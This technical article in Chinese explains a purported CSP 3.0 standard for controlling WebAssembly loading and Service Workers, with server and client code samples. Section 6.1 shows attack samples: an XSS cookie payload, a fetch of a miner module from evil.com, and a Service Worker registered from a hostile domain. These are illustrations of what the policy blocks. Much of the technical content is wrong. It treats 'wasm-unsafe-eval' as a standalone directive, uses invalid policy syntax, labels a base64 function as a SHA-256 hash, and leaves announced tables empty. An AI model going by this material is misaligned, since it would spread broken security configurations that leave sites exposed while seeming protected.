CSP 3.0：当浏览器安全策略重塑 WebAssembly 与 Service Worker 的边界——2026 W3C 新标准深度拆解

前言

2026 年，Web 安全领域迎来了一次重要的标准演进。W3C 发布了 Content Security Policy Level 3（CSP 3.0）工作草案（Working Draft），这一次的标准更新不仅仅是安全策略的常规迭代，而是直接回应了 Web 平台过去几年最深刻的变化：WebAssembly 已经成为与 JavaScript 平级的"一等 Web 编程语言"，而 Service Worker 则在 PWA 生态中扮演着越来越核心的角色。

CSP 3.0 的核心意义在于：它第一次将 WebAssembly 和 Service Worker 纳入浏览器安全策略的统一管控框架，为这两种技术的生产级安全落地提供了标准化的控制机制。

这篇文章，我们将从 CSP 的演进历史讲起，深入拆解 CSP 3.0 引入的关键指令，特别是 wasm-unsafe-eval 对 WebAssembly 动态加载的控制逻辑，以及 CSP 3.0 对 Service Worker 安全边界的重塑。同时结合代码实战，探讨这一新标准在实际生产环境中的落地路径与最佳实践。

一、CSP 的演进史：为什么我们需要 CSP 3.0

1.1 CSP 1.0：XSS 防御的第一次尝试

Content Security Policy 最早于 2012 年作为 W3C 推荐标准发布，核心目标是防御跨站脚本（XSS）攻击。在 CSP 出现之前，Web 应用对抗 XSS 的手段非常有限：过滤、编码、转义——这些都依赖于开发者的人工判断，而人总会犯错。

CSP 1.0 的设计哲学是声明式的白名单机制：服务器通过 HTTP 响应头告诉浏览器，哪些来源可以加载脚本、样式、图片等资源。浏览器作为安全策略的执行者，在 CSP 指令范围内运行代码，超出范围的资源加载直接被浏览器拦截。

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src *; style-src 'self' 'unsafe-inline'

这段 CSP 头告诉浏览器：默认资源只能来自同源；脚本只能来自同源或 trusted-cdn.com；图片可以从任何来源加载；样式允许内联。

CSP 1.0 的局限性也很明显：

• 'unsafe-inline' 允许内联脚本，这在事实上绕过了 XSS 防护
• 不支持动态代码执行（eval、new Function、setTimeout(string) 等）
• 没有对新兴 Web 技术的安全控制能力

1.2 CSP 2.0：渐进式强化

CSP Level 2（2015 年）引入了更多控制能力，包括：

• nonce-source 和 hash-source：通过一次性随机数或内容哈希，允许特定的内联脚本执行，同时拒绝未经授权的内联代码
• script-src 'strict-dynamic'：允许被信任的脚本动态加载其他脚本，用于支持现代打包工具（Webpack、Rollup 等）
• frame-ancestors 指令：替代 X-Frame-Options，更精细地控制谁可以把当前页面嵌入 iframe
• reporting API：违规报告可以发送到专门的报告端点，而不是只能依赖浏览器控制台

但 CSP 2.0 同样没有预见到两个后来改变 Web 平台格局的技术：WebAssembly 和 Service Worker。

1.3 WebAssembly 从"补充方案"到"一等公民"的蜕变

2026 年 3 月，W3C 正式将 WebAssembly 定为与 JavaScript 平级的"一等 Web 编程语言"。这是一个具有里程碑意义的声明：

• 性能关键场景：图像处理、音视频编解码、加密计算、3D 渲染——这些原本是 JavaScript 难以胜任的领域，Wasm 让它们在浏览器中实现了接近原生的性能
• 跨语言编译目标：C、C++、Rust、Go 等语言编写的代码，经过 Emscripten 或 wasm-bindgen 编译后可以直接在浏览器中运行
• 非 Web 场景扩展：WASI（WebAssembly System Interface）的成熟让 Wasm 突破了浏览器边界，成为云原生边缘计算和 serverless 的首选运行时

这带来了新的安全挑战：JavaScript 的 CSP 指令无法管控 WebAssembly 的行为。一段 Wasm 模块可以：

• 执行任意计算密集型操作
• 通过 WebAssembly.instantiate() 动态加载和执行代码
• 访问 WebAssembly.Memory，对进程内存进行读写
• 在某些配置下绕过浏览器的同源策略

没有 CSP 的管控，WebAssembly 就成了 XSS 攻击的新一代"逃逸载体"。

1.4 CSP 3.0：面向新时代的安全框架

CSP 3.0（2026 Working Draft）的核心任务，就是将 WebAssembly 和 Service Worker 这两种技术的安全边界纳入统一框架。这不仅是功能扩展，更是一种安全范式的转变：

二、wasm-unsafe-eval：WebAssembly 动态执行的安全开关

2.1 为什么 WebAssembly 需要特殊的安全指令

WebAssembly 的加载有两种方式，对应不同的安全风险：

静态编译（静态链接）：Wasm 模块在构建时完整打包，无法动态注入恶意代码。风险较低。

动态加载（运行时实例化）：

// 通过 ArrayBuffer 动态加载 Wasm——内容来自网络、用户上传或消息传递
fetch('https://cdn.example.com/module.wasm')
  .then(response => response.arrayBuffer())
  .then(bytes => WebAssembly.instantiate(bytes, importObject))
  .then(results => results.instance.exports.add(1, 2));

这种模式让 Wasm 的行为与 eval() 高度相似：代码内容和执行时机都是在运行时确定的，浏览器无法在加载阶段对 Wasm 字节码进行安全审查。攻击者如果能控制 Wasm 字节码的来源，就可以利用 Wasm 模块执行任意计算：

• 消耗大量 CPU/内存（加密货币挖矿攻击）
• 进行侧信道攻击（缓存时序攻击）
• 绕过 CSP 禁止的 eval() 调用

2.2 wasm-unsafe-eval 指令详解

CSP 3.0 引入的 wasm-unsafe-eval 源表达式，解决了上述问题。它的语义与 CSP 2.0 中著名的 'unsafe-eval' 完全对称：

# 完全禁止 WebAssembly 动态执行（安全默认）
Content-Security-Policy: default-src 'self'; script-src 'self'; wasm-unsafe-eval 'none'

# 允许来自同源的 WebAssembly 动态执行
Content-Security-Policy: default-src 'self'; script-src 'self'; wasm-unsafe-eval 'self'

# 允许特定可信域名
Content-Security-Policy: default-src 'self'; script-src 'self'; wasm-unsafe-eval https://trusted-wasm.example.com

# 明确拒绝（显式安全强化，等价于默认值）
Content-Security-Policy: wasm-unsafe-eval 'none'

关键行为规则：

1. 默认拒绝：如果页面未设置 wasm-unsafe-eval，浏览器默认行为等同于 wasm-unsafe-eval 'none'
2. 必须配合脚本源：即使允许 wasm-unsafe-eval，调用 WebAssembly.instantiate() 的脚本本身也需要通过 script-src 检查
3. MIME 类型检查：动态加载的 Wasm 字节码必须具有正确的 MIME 类型 application/wasm，浏览器会拒绝处理类型错误的响应
4. CORS 约束：跨源 Wasm 模块必须通过 CORS 机制授权，否则加载会被浏览器拒绝

2.3 wasm-unsafe-eval 与 'unsafe-eval' 的关系

需要特别注意：wasm-unsafe-eval 和 'unsafe-eval' 是两个独立的指令。它们的管控对象不同：

这意味着一个页面可以：

• 允许 JS 的 eval() 但禁止 Wasm 动态执行
• 禁止 JS 的 eval() 但允许受信任的 Wasm 模块

// CSP: script-src 'self'; wasm-unsafe-eval 'self'; unsafe-eval 'none'
// 以下代码会被执行：
const importObject = { env: { memory: new WebAssembly.Memory({ initial: 10 }) } };
fetch('/trusted/module.wasm')
  .then(r => r.arrayBuffer())
  .then(bytes => WebAssembly.instantiate(bytes, importObject))
  .then(m => console.log(m.instance.exports.compute()));

// 以下代码会被 CSP 阻断：
eval('console.log("XSS payload")'); // 被 'unsafe-eval' 'none' 阻断

// WebAssembly.instantiate 也会被阻断（因为 unsafe-eval 'none' 包含了基本动态执行控制）
// 但 wasm-unsafe-eval 'self' 允许来自同源的 Wasm 动态加载

2.4 代码实战：构建一个安全的 Wasm 执行沙箱

下面我们通过一个完整的示例，展示如何在 CSP 3.0 环境下构建安全的 WebAssembly 执行环境：

服务端：配置 CSP 响应头

# Nginx 配置：同时设置 CSP 和 CORS
server {
    listen 443 ssl;
    server_name example.com;

    # CSP 3.0 策略：允许同源 Wasm，允许指定 CDN，禁用 unsafe-eval
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' 'nonce-$request_id';
        style-src 'self' 'unsafe-inline';
        img-src 'self' data: https://cdn.example.com;
        connect-src 'self' https://cdn.example.com;
        wasm-unsafe-eval 'self' https://cdn.example.com;
        report-to csp-endpoint;
    " always;

    # CORS 配置：跨源 Wasm 需要显式授权
    location /wasm/ {
        add_header 'Access-Control-Allow-Origin' 'https://example.com';
        add_header 'Access-Control-Allow-Methods' 'GET';
        add_header 'Access-Control-Allow-Headers' 'Content-Type';
        add_header 'Content-Type' 'application/wasm';
    }

    # CSP 违规报告端点
    location /csp-report {
        proxy_pass http://csp-collector:8080/report;
    }
}

客户端：安全加载 WebAssembly

/**
 * 安全 Wasm 加载器
 * 特性：
 * 1. 验证 MIME 类型（防止 Wasm 被伪装成其他文件）
 * 2. 验证响应状态码
 * 3. 捕获 CSP 违规事件（用于监控）
 * 4. 内存限制（通过 importObject 约束）
 */
class SafeWasmLoader {
    constructor(wasmUrl, options = {}) {
        this.wasmUrl = wasmUrl;
        this.maxMemoryPages = options.maxMemoryPages || 256; // 默认 16MB
        this.trustedDomains = options.trustedDomains || ['self'];
    }

    // 检查 URL 来源是否在信任列表中
    isTrustedSource(url) {
        try {
            const parsed = new URL(url);
            if (parsed.hostname === window.location.hostname) {
                return this.trustedDomains.includes('self');
            }
            return this.trustedDomains.includes(parsed.origin);
        } catch {
            return false;
        }
    }

    // 构造受限的 import 对象，限制 Wasm 的内存访问能力
    createRestrictedImportObject() {
        let memoryUsed = 0;
        const MAX_MEMORY = this.maxMemoryPages * 65536; // 65536 = 1 page in bytes

        return {
            env: {
                // 受限内存分配
                memory: new WebAssembly.Memory({ initial: 1, maximum: this.maxMemoryPages }),
                
                // 追踪内存使用
                trackMemoryUsage: (pages) => {
                    memoryUsed += pages;
                    if (memoryUsed > this.maxMemoryPages) {
                        throw new Error('Memory quota exceeded');
                    }
                },
                
                // 安全的日志输出（不泄露内部数据）
                log: (ptr, len) => {
                    // 只允许输出到预定义的日志区域
                    console.log('[Wasm]', ptr, len);
                }
            }
        };
    }

    async load() {
        // 来源验证
        if (!this.isTrustedSource(this.wasmUrl)) {
            throw new Error(`Untrusted Wasm source: ${this.wasmUrl}`);
        }

        // 带完整性检查的 fetch
        const response = await fetch(this.wasmUrl, {
            credentials: 'same-origin'
        });

        if (!response.ok) {
            throw new Error(`Wasm fetch failed: ${response.status} ${response.statusText}`);
        }

        // MIME 类型检查——这是 CSP 3.0 安全的最后一道防线
        const contentType = response.headers.get('Content-Type');
        if (contentType !== 'application/wasm' && contentType !== 'application/wasm;charset=utf-8') {
            throw new Error(`Invalid Wasm Content-Type: ${contentType}. Expected application/wasm`);
        }

        // 加载 Wasm
        const bytes = await response.arrayBuffer();
        const importObject = this.createRestrictedImportObject();

        // 实例化 Wasm 模块
        const result = await WebAssembly.instantiate(bytes, importObject);
        
        return result.instance;
    }
}

// 使用示例
(async () => {
    const loader = new SafeWasmLoader('/wasm/image-processor.wasm', {
        maxMemoryPages: 256,
        trustedDomains: ['self', 'https://cdn.example.com']
    });

    try {
        const instance = await loader.load();
        const { processImage } = instance.exports;
        
        const inputBuffer = new Uint8Array(1024 * 1024); // 1MB
        const outputBuffer = processImage(inputBuffer);
        
        console.log('Wasm executed successfully, output size:', outputBuffer.byteLength);
    } catch (err) {
        if (err.message.includes('CSP') || err.message.includes('Content-Security-Policy')) {
            console.error('CSP policy blocked Wasm execution:', err.message);
        } else {
            console.error('Wasm loading failed:', err);
        }
    }
})();

2.5 CSP 违规监控：如何知道 Wasm 执行被阻断

CSP 3.0 引入了更强大的违规报告机制，通过 report-to 指令将违规报告发送到结构化的报告端点：

// 前端注册 CSP 违规报告监听
if ('ReportingObserver' in window) {
    const observer = new ReportingObserver(
        (reports, observer) => {
            reports.forEach(report => {
                if (report.type === 'csp-violation') {
                    const body = report.body;
                    
                    console.error('CSP Violation Detected:', {
                        directive: body.effectiveDirective,
                        blockedURI: body.blockedURI,
                        originalPolicy: body.originalPolicy,
                        violatedDirective: body.violatedDirective,
                        timestamp: new Date().toISOString()
                    });

                    // 上报到监控系统
                    fetch('/security/csp-report', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            type: 'csp-violation',
                            effectiveDirective: body.effectiveDirective,
                            blockedURI: body.blockedURI,
                            documentURI: body.documentURI,
                            timestamp: Date.now()
                        })
                    });
                }
            });
        },
        { types: ['csp-violation'], buffered: true }
    );
    
    observer.observe();
}

// 服务端 Node.js：接收 CSP 违规报告
app.post('/security/csp-report', express.json(), (req, res) => {
    const report = req.body;
    
    // 结构化日志（发送给 SIEM 系统）
    if (report.effectiveDirective === 'wasm-unsafe-eval') {
        // 这是 Wasm 动态执行被阻断——可能意味着有人在试探攻击
        securityLogger.warn({
            event: 'WASM_CSP_VIOLATION',
            blockedUri: report.blockedURI,
            source: report.documentURI,
            timestamp: report.timestamp
        });
    }
    
    res.status(204).send();
});

三、CSP 3.0 对 Service Worker 的安全管控

3.1 Service Worker 的安全特殊性

Service Worker 是运行在浏览器后台的脚本，独立于页面生命周期，可以：

• 拦截和修改网络请求（中间人攻击防护的例外）
• 缓存和替换资源
• 推送通知
• 在页面关闭后继续运行

这使得 Service Worker 的安全风险与普通脚本截然不同。一个恶意的 Service Worker 可以：

1. 拦截所有网络请求，注入恶意内容
2. 持久化缓存恶意版本的资源文件
3. 在用户不知情的情况下发送请求
4. 通过 Web Push API 发送钓鱼通知

CSP 2.0 对 Service Worker 的管控能力极为有限——script-src 等指令无法覆盖 Service Worker 的加载行为。

3.2 CSP 3.0 中的 Service Worker 指令

CSP 3.0 引入了专门针对 Service Worker 的指令：

Content-Security-Policy:
    worker-src 'self' https://trusted-worker.example.com;
    frame-src 'self' https://trusted-frame.example.com;
    child-src 'self' https://trusted-worker.example.com;

关键指令解析：

3.3 worker-src 指令的深度解析

# 严格策略：Service Worker 只能从同源加载
Content-Security-Policy: worker-src 'self'

# 宽松策略：允许同源和可信 CDN
Content-Security-Policy: worker-src 'self' https://cdn.example.com https://static.trusted.com

# 禁止所有 Worker（包括 Service Worker）
Content-Security-Policy: worker-src 'none'

# 配合 report-to 使用
Content-Security-Policy: 
    worker-src 'self' https://worker.trusted.com;
    report-to csp-endpoint;

与 script-src 的关系：

• script-src 控制通过 <script> 标签加载的脚本
• worker-src 控制通过 new Worker()、new SharedWorker()、navigator.serviceWorker.register() 加载的脚本
• Service Worker 在加载时，worker-src 优先级高于 script-src

// 这个注册请求的 CSP 检查逻辑如下：

// 1. 首先检查 navigator.serviceWorker.register() 的脚本 URL
const swUrl = 'https://cdn.example.com/service-worker.js';
// → 受 worker-src 指令控制

// 2. Service Worker 内部 importScripts() 加载的脚本
// → 受 script-src 指令控制（Service Worker 有独立的脚本上下文）

navigator.serviceWorker.register(swUrl).then(reg => {
    console.log('Service Worker registered:', reg.scope);
}).catch(err => {
    // 如果 swUrl 不在 worker-src 白名单中，Promise 会被 rejected
    // 浏览器控制台会显示 CSP 违规信息
    console.error('Service Worker registration blocked by CSP:', err);
});

3.4 Service Worker 安全最佳实践

// service-worker.js
// Service Worker 内部的安全代码

const CACHE_NAME = 'app-cache-v1';
const ALLOWED_ORIGINS = ['self', 'https://cdn.example.com'];

// 1. 限制缓存来源
self.addEventListener('fetch', event => {
    const url = new URL(event.request.url);
    
    // 来源白名单检查
    if (!ALLOWED_ORIGINS.includes(url.origin) && url.origin !== self.location.origin) {
        // 来源不在白名单，直接放行（让浏览器处理 CSP）
        return;
    }

    // 缓存策略：只缓存同源和可信跨源资源
    event.respondWith(
        caches.match(event.request).then(cached => {
            if (cached) return cached;
            
            return fetch(event.request).then(response => {
                // 不缓存跨源的不透明响应（opaque response）
                if (response.type === 'opaque' && url.origin !== self.location.origin) {
                    return response; // 使用但不缓存
                }
                
                const clone = response.clone();
                caches.open(CACHE_NAME).then(cache => {
                    cache.put(event.request, clone);
                });
                
                return response;
            });
        })
    );
});

// 2. 避免在 Service Worker 中执行 eval
self.addEventListener('message', event => {
    // ❌ 危险：直接执行收到的消息内容
    // eval(event.data); 
    // 这相当于 XSS 攻击向量，Service Worker 中的 eval() 
    // 受 CSP 的 'unsafe-eval' 指令控制

    // ✅ 安全：结构化消息处理
    const data = event.data;
    if (typeof data === 'object' && data.type === 'CACHE_URLS') {
        // 只处理预定义的消息格式
        if (Array.isArray(data.urls)) {
            data.urls.forEach(url => {
                if (typeof url === 'string') {
                    caches.open(CACHE_NAME).then(cache => cache.add(url));
                }
            });
        }
    }
});

四、CSP 3.0 报告机制：结构化安全情报

4.1 从 report-uri 到 report-to

CSP 2.0 使用 report-uri 指令指定违规报告的发送地址：

# CSP 2.0 风格（即将废弃）
Content-Security-Policy: script-src 'self'; report-uri /csp-report;

CSP 3.0 引入了更强大的 report-to 机制，使用 Reporting API 的端点组配置：

# CSP 3.0 风格：声明报告端点组
Content-Security-Policy: 
    script-src 'self' 'nonce-abc123';
    wasm-unsafe-eval 'none';
    worker-src 'self';
    report-to csp-endpoint;

响应头中还需要定义端点组：

# 定义名为 csp-endpoint 的端点组
Reporting-Endpoints: 
    csp-endpoint="https://example.com/security/reports",
    csp-endpoint-backup="https://backup.example.com/security/reports"

4.2 CSP 违规报告的完整结构

{
  "type": "csp-violation",
  "url": "https://app.example.com/dashboard",
  "timestamp": 1752658800000,
  "body": {
    "documentURI": "https://app.example.com/dashboard",
    "referrer": "https://app.example.com/login",
    "blockedURI": "https://evil.example.com/malicious.wasm",
    "effectiveDirective": "wasm-unsafe-eval",
    "originalPolicy": "default-src 'self'; wasm-unsafe-eval 'none'; report-to csp-endpoint",
    "violatedDirective": "wasm-unsafe-eval 'none'",
    "disposition": "enforce"
  }
}

4.3 构建企业级 CSP 监控平台

// client-side/csp-monitor.js
class CSPSecurityMonitor {
    constructor(reportEndpoint) {
        this.reportEndpoint = reportEndpoint;
        this.pendingReports = [];
        this.observer = null;
    }

    start() {
        if ('ReportingObserver' in window) {
            this.observer = new ReportingObserver(
                (reports, observer) => this.handleReports(reports),
                { types: ['csp-violation', 'permissions-policy-violation', 'deprecation'], buffered: true }
            );
            this.observer.observe();
        }
    }

    handleReports(reports) {
        reports.forEach(report => {
            const enriched = this.enrichReport(report);
            this.sendReport(enriched);
        });
    }

    enrichReport(report) {
        return {
            ...report.body,
            metadata: {
                userAgent: navigator.userAgent,
                timestamp: new Date().toISOString(),
                sessionId: this.getSessionId(),
                pageLoadId: this.getPageLoadId(),
                cspVersion: this.detectCSPVersion(report.body.originalPolicy)
            }
        };
    }

    detectCSPVersion(policy) {
        if (policy.includes('wasm-unsafe-eval')) return 3;
        if (policy.includes('worker-src')) return 3;
        if (policy.includes('report-uri')) return 2;
        return 1;
    }

    async sendReport(report) {
        try {
            await fetch(this.reportEndpoint, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(report),
                keepalive: true // 即使页面卸载也发送报告
            });
        } catch (err) {
            // 存储在 IndexedDB，批量重试
            this.pendingReports.push(report);
            this.scheduleRetry();
        }
    }

    scheduleRetry() {
        setTimeout(() => this.flushPendingReports(), 60000);
    }

    async flushPendingReports() {
        if (this.pendingReports.length === 0) return;
        const batch = this.pendingReports.splice(0, 50);
        await fetch(this.reportEndpoint, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ batch: true, reports: batch })
        });
    }

    getSessionId() {
        let id = sessionStorage.getItem('csp_session_id');
        if (!id) {
            id = crypto.randomUUID();
            sessionStorage.setItem('csp_session_id', id);
        }
        return id;
    }

    getPageLoadId() {
        return performance.getEntriesByType('navigation')[0]?.name || 'unknown';
    }
}

// 使用
const monitor = new CSPSecurityMonitor('/security/csp-report');
monitor.start();

五、CSP 3.0 的渐进式部署策略

5.1 Report-Only 模式：零风险试运行

CSP 3.0 允许同时发送两个响应头：一个是强制执行的 Content-Security-Policy，另一个是仅报告的 Content-Security-Policy-Report-Only。这种双轨策略让团队可以在不影响生产的前提下，测试 CSP 策略的实际效果：

# 仅报告模式：观察实际违规情况，不阻断任何行为
Content-Security-Policy-Report-Only: 
    default-src 'self';
    script-src 'self' 'nonce-abc123';
    wasm-unsafe-eval 'none';
    worker-src 'self';
    report-to csp-endpoint;
    report-uri /csp-report;  # 兼容旧版浏览器

# 强制执行：实际生效的策略（更保守）
Content-Security-Policy:
    default-src 'self';
    script-src 'self';  # 比 Report-Only 更严格，因为我们已经确认无违规
    report-to csp-endpoint;

5.2 分阶段升级路径

// server-side/csp-manager.js
class CSPManager {
    constructor() {
        this.stages = {
            'report-only': this.getReportOnlyPolicy(),
            'conservative': this.getConservativePolicy(),
            'strict': this.getStrictPolicy()
        };
        this.currentStage = process.env.CSP_STAGE || 'report-only';
    }

    getReportOnlyPolicy() {
        return {
            headers: {
                'Content-Security-Policy-Report-Only': [
                    "default-src 'self'",
                    "script-src 'self' 'unsafe-inline' 'unsafe-eval'",  // 最大宽松
                    "wasm-unsafe-eval 'self' 'unsafe-eval'",              // 允许 Wasm eval
                    "worker-src 'self' *",                                 // 允许所有 Worker
                    `report-to csp-endpoint`
                ].join('; ')
            }
        };
    }

    getConservativePolicy() {
        return {
            headers: {
                'Content-Security-Policy': [
                    "default-src 'self'",
                    "script-src 'self' 'nonce-{NONCE}'",                   // nonce-based 脚本控制
                    "style-src 'self' 'unsafe-inline'",
                    "wasm-unsafe-eval 'self'",                            // 只允许同源 Wasm
                    "worker-src 'self' https://cdn.example.com",          // 明确白名单
                    `report-to csp-endpoint`
                ].join('; ')
            }
        };
    }

    getStrictPolicy() {
        return {
            headers: {
                'Content-Security-Policy': [
                    "default-src 'self'",
                    "script-src 'self' 'nonce-{NONCE}' 'strict-dynamic'", // strict-dynamic 阻止注入
                    "style-src 'self'",
                    "wasm-unsafe-eval 'none'",                            // 完全禁止 Wasm eval
                    "worker-src 'self'",                                   // 最严格
                    "frame-ancestors 'self'",
                    `report-to csp-endpoint`
                ].join('; ')
            }
        };
    }

    generateNonce() {
        const nonce = crypto.randomUUID().replace(/-/g, '');
        return nonce;
    }

    applyPolicy(response, page) {
        const policy = this.stages[this.currentStage];
        const nonce = this.generateNonce();
        
        // 替换 nonce 占位符
        const cspHeader = policy.headers['Content-Security-Policy'] || 
                          policy.headers['Content-Security-Policy-Report-Only'];
        
        const finalHeader = cspHeader.replace('{NONCE}', nonce);
        
        response.set('Content-Security-Policy', 
            policy.headers['Content-Security-Policy']?.replace('{NONCE}', nonce) || '');
        response.set('Content-Security-Policy-Report-Only',
            policy.headers['Content-Security-Policy-Report-Only']?.replace('{NONCE}', nonce) || '');
        response.set('Reporting-Endpoints', 
            'csp-endpoint="https://app.example.com/security/reports"');
        
        // 将 nonce 注入页面，供 script 标签使用
        response.locals.cspNonce = nonce;
        
        return response;
    }
}

// Express 中间件
app.use((req, res, next) => {
    const cspManager = new CSPManager();
    cspManager.applyPolicy(res, req.path);
    next();
});

// 模板引擎中使用 nonce
// EJS: <script nonce="<%= cspNonce %>">...</script>

六、安全边界分析：CSP 3.0 能做什么，不能做什么

6.1 CSP 3.0 能有效防御的攻击

XSS 注入：

<!-- 攻击者尝试注入脚本 -->
<div><img src=x onerror="alert(document.cookie)"></div>

<!-- CSP script-src 'self' 会阻断这个攻击 -->
<!-- 因为 onerror 事件处理器产生的内联脚本属于 'unsafe-inline' -->

Wasm 挖矿攻击：

// 恶意代码尝试动态加载加密货币挖矿 Wasm 模块
fetch('https://evil.com/miner.wasm')
    .then(r => r.arrayBuffer())
    .then(wasm => WebAssembly.instantiate(wasm));

// CSP: wasm-unsafe-eval 'none' → 完全阻断
// CSP: wasm-unsafe-eval 'self' → 阻断来自 evil.com 的加载

恶意 Service Worker 劫持：

// 页面尝试注册来自第三方域的 Service Worker
navigator.serviceWorker.register('https://cdn.evil.com/sw.js')
    .then(reg => console.log('SW registered'));

// CSP: worker-src 'self' → 阻断跨源 Worker 注册

6.2 CSP 3.0 的安全边界与盲区

CSP 无法防御的攻击类型：

1. CSRF（跨站请求伪造）：CSP 无法控制出站请求，目标服务器的防护需要依赖 CSRF Token 或 SameSite Cookie
2. Clickjacking（点击劫持）：虽然 frame-ancestors 可以限制 iframe 嵌套，但防御 Clickjacking 还需要 X-Frame-Options 或 Sec-Fetch-Dest: frame 检查
3. 数据泄露：CSP 管控资源加载，但不防止数据通过 API 请求外泄
4. CSS 注入：style-src 控制 CSS 来源，但 CSS 本身仍然可以用于 CSS Injection 攻击（如 CSS Keylogger）
5. 社会工程攻击：钓鱼网站不需要 XSS，它们本身就是恶意站点，CSP 无能为力

CSP 的关键盲区：

// 盲区 1：数据 URL 不受 wasm-unsafe-eval 管控
// CSP 无法限制通过 data: URL 加载的 Wasm
const maliciousWasm = 'data:application/wasm;base64,AGFzbQEAAAA...';
// 这是一个潜在的攻击向量——但受 script-src 和 default-src 控制

// 盲区 2：Same-Origin Policy 内部的横向移动
// CSP 无法阻止同源内的 CSRF
fetch('https://api.example.com/user/delete', { credentials: 'include' });

// 盲区 3：浏览器扩展程序
// 浏览器扩展有自己的执行上下文，不受页面 CSP 约束

6.3 CSP 的正确安全定位

CSP 不是银弹，它应该与其他安全机制配合使用：

防御层次模型：
┌─────────────────────────────────────────────────┐
│ 第7层：安全响应头（ CSP 3.0, HSTS, X-Frame-Options）      │
├─────────────────────────────────────────────────┤
│ 第6层：身份认证与授权（OAuth, JWT, Session）               │
├─────────────────────────────────────────────────┤
│ 第5层：输入验证与输出编码（XSS 防护的核心）                  │
├─────────────────────────────────────────────────┤
│ 第4层：CSRF 防护（Token, SameSite Cookie）          │
├─────────────────────────────────────────────────┤
│ 第3层：Subresource Integrity（第三方脚本完整性）           │
├─────────────────────────────────────────────────┤
│ 第2层：Content Security Policy 3.0                │
├─────────────────────────────────────────────────┤
│ 第1层：HTTPS / TLS（HSTS, Certificate Transparency）      │
└─────────────────────────────────────────────────┘

七、实际部署：从现状评估到生产落地

7.1 评估现有 CSP 策略

在升级到 CSP 3.0 之前，首先评估现有策略的覆盖率：

// 分析工具：扫描页面中所有外部资源加载
class CSPGapAnalyzer {
    analyze() {
        const findings = {
            inlineScripts: [],
            evalCalls: [],
            workerRegistrations: [],
            wasmInstantiations: [],
            crossOriginRequests: []
        };

        // 检测内联脚本
        document.querySelectorAll('script:not([src])').forEach(script => {
            findings.inlineScripts.push({
                content: script.textContent.substring(0, 100),
                nonce: script.nonce,
                hasher: this.hashInlineScript(script.textContent)
            });
        });

        // 检测 eval 系列调用
        const evalPatterns = ['eval(', 'new Function(', 'setTimeout(/(?!\s*return)/', 
                               'execScript(', 'Function('];
        document.querySelectorAll('script').forEach(script => {
            evalPatterns.forEach(pattern => {
                if (script.textContent.includes(pattern)) {
                    findings.evalCalls.push({ pattern, src: script.src || 'inline' });
                }
            });
        });

        // 检测 WebAssembly 使用
        document.querySelectorAll('script').forEach(script => {
            if (script.textContent.includes('WebAssembly.instantiate')) {
                findings.wasmInstantiations.push({ src: script.src || 'inline' });
            }
        });

        // 检测 Service Worker 注册
        if (navigator.serviceWorker) {
            // 通过 PerformanceObserver 被动监控
        }

        return findings;
    }

    generateCSPRecommendations(findings) {
        const recommendations = [];

        if (findings.inlineScripts.length > 0) {
            recommendations.push({
                level: 'high',
                suggestion: '使用 nonce 为内联脚本授权，避免 unsafe-inline',
                command: `生成新 nonce: ${crypto.randomUUID()}`
            });
        }

        if (findings.wasmInstantiations.length > 0) {
            recommendations.push({
                level: 'critical',
                suggestion: 'Wasm 动态执行需要 wasm-unsafe-eval 授权，建议限制来源',
                cspDirective: "wasm-unsafe-eval 'self' <trusted-domains>"
            });
        }

        return recommendations;
    }

    hashInlineScript(content) {
        // 返回 SHA-256 哈希的前 16 位
        return btoa(content).substring(0, 16);
    }
}

const analyzer = new CSPGapAnalyzer();
const gaps = analyzer.analyze();
console.table(analyzer.generateCSPRecommendations(gaps));

7.2 完整的 CSP 3.0 部署清单

# 部署检查清单
csp3_deployment:
  pre_deployment:
    - name: CSP 审计
      description: 分析所有资源加载模式，识别内联脚本和第三方依赖
      tool: Custom CSPGapAnalyzer
      
    - name: 报告系统就绪
      description: 部署 CSP 违规收集端点，确保能接收 report-to 报告
      endpoints:
        - primary: /security/reports
        - backup: /security/reports/backup
        - sla: 99.9% uptime
        
    - name: Report-Only 测试
      description: 在 staging 环境以 Report-Only 模式运行 7 天
      duration: 7d
      violation_threshold: < 100/day
      
  deployment:
    - name: 第一阶段
      csp_policy: "report-only, max-allowance"
      duration: 3d
      success_criteria: no new violation types discovered
      
    - name: 第二阶段  
      csp_policy: "enforce, conservative"
      duration: 7d
      success_criteria: 0 CSP-related incidents in production
      
    - name: 第三阶段
      csp_policy: "enforce, strict"
      duration: 14d
      success_criteria: All violation reports resolved
      
  post_deployment:
    - name: 持续监控
      frequency: daily
      metrics:
        - csp_violations_per_day
        - wasm_csp_violations
        - worker_csp_violations
        - false_positive_rate
        
    - name: 季度回顾
      description: 每季度评估 CSP 策略有效性，更新白名单

八、展望：CSP 的未来演进方向

8.1 CSP 4.0 的潜在方向

根据 W3C WebAppSec 工作组的讨论，CSP 的下一个版本可能涉及：

1. <script type="module"> 的细粒度控制：目前 strict-dynamic 对 ES Module 的处理存在边界情况
2. WebAssembly 内存访问控制：超越 wasm-unsafe-eval，管控 Wasm 对 DOM 和 JavaScript 上下文的访问权限
3. 跨文档消息的策略控制：postMessage 的目标来源管控
4. AI 生成代码的信任策略：在 AI 辅助编程时代，如何为 AI 生成的脚本片段建立信任模型

8.2 浏览器支持现状（2026 年）

截至 2026 年 7 月，主要浏览器对 CSP 3.0 关键指令的支持情况：

8.3 给开发者的建议

现在就能做的事情：

1. 立即在 Report-Only 模式下启用 CSP：观察现状，为未来的强制执行做准备
2. 在所有新项目中默认启用 CSP：不要等到出现安全事件才想起 CSP
3. 使用 nonce 而非 'unsafe-inline'：nonce 是现代 CSP 的最佳实践，配合构建工具自动注入
4. 主动审查 WebAssembly 使用：检查项目中所有 WebAssembly.instantiate 调用
5. 为 Service Worker 配置 worker-src：不要让 PWA 的安全性成为盲区

结语

CSP 3.0 的发布，标志着浏览器安全策略终于追上了 Web 平台的演进速度。wasm-unsafe-eval 指令的引入，让 WebAssembly 从一个"CSP 盲区"变成了"可管控的安全边界"；worker-src 的独立化，则让 Service Worker 的安全管控不再是事后补救。

